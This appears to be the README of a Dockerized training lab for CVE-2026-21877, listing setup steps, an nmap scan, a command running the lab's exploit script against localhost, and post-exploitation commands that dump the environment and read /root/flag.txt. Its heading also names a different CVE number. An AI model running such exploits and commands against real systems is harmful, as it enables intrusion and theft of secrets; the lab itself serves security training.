cves-labs/cve-2026-21877Dockerized vulnerable lab environment with a Python-based network monitor and dedicated exploit script, enabling hands-on exploitation, privilege checks, and flag capture.
Lab Environment for CVE-2026-1357
sudo apt update && sudo apt install docker.io docker-compose -y
sudo systemctl start docker
git clone [Link of Repo]
sudo chmod +x network_monitor.py
sudo docker compose up --build -d
Firefox : http://localhost:5678
For test workflow: { "address": "8.8.8.8" }
Published ..
sudo nmap -sV -O localhost
sudo chmod +x CVE-2026-21877_exploit.py
python3 CVE-2026-21877_exploit.py 127.0.0.1
whoami || id || export || cat /root/flag.txt
